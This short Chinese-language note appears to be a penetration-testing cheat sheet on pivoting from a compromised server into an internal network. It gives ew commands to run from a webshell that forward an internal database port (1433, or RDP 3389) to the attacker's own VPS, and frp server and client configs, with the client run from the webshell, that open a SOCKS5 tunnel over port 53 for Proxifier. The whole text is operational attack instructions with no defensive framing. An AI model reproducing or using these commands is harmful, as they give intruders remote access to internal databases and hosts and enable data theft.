1. ewhere(数据库转发)
webshell下执行
ewhere.exe -s lcx_slave -d 自己外网服务器ip -e 1080 -f 内网目标服务器ip -g 1433
自己外网vps 执行
ewhere.exe -s lcx_listen -e 1080 -l 1433(随意2)
1080(随意1对应)
1433(随意2无需对应webshell执行的1433)
注解:转发内网目标服务器1433端口 到 外网vps的1080端口
(记得要关闭防火墙或者添加防火墙规则)。本地监听 1080 转发到本地1433端口
1433是目标数据库端口,你可以navicat连接 127.0.0.1:1433 (端口对应随意2)连接目标数据库。
rdp转发一样,1433 改成3389
2. frp (socks5转发)
(自己vps执行)frps -c frps.ini
frps.ini
[common]
bind_addr =0.0.0.0
bind_port =53
token =xxoo.frp123
(webshell执行)frps -c frpc.ini
frpc.ini
[common]
server_addr = 你的外网vps地址
server_port = 53
token = xxoo.frp123
[socks_proxy]
type = tcp
remote_port =8888
plugin = socks5
端口53 可以任意,但是要和frps.ini 对应
端口8888 可以任意,意思是Proxifier 连接的时候 设置代理服务器
Proxifier 设置代理服务器 :127.0.0.1:8888 或者 你的外网vps地址:8888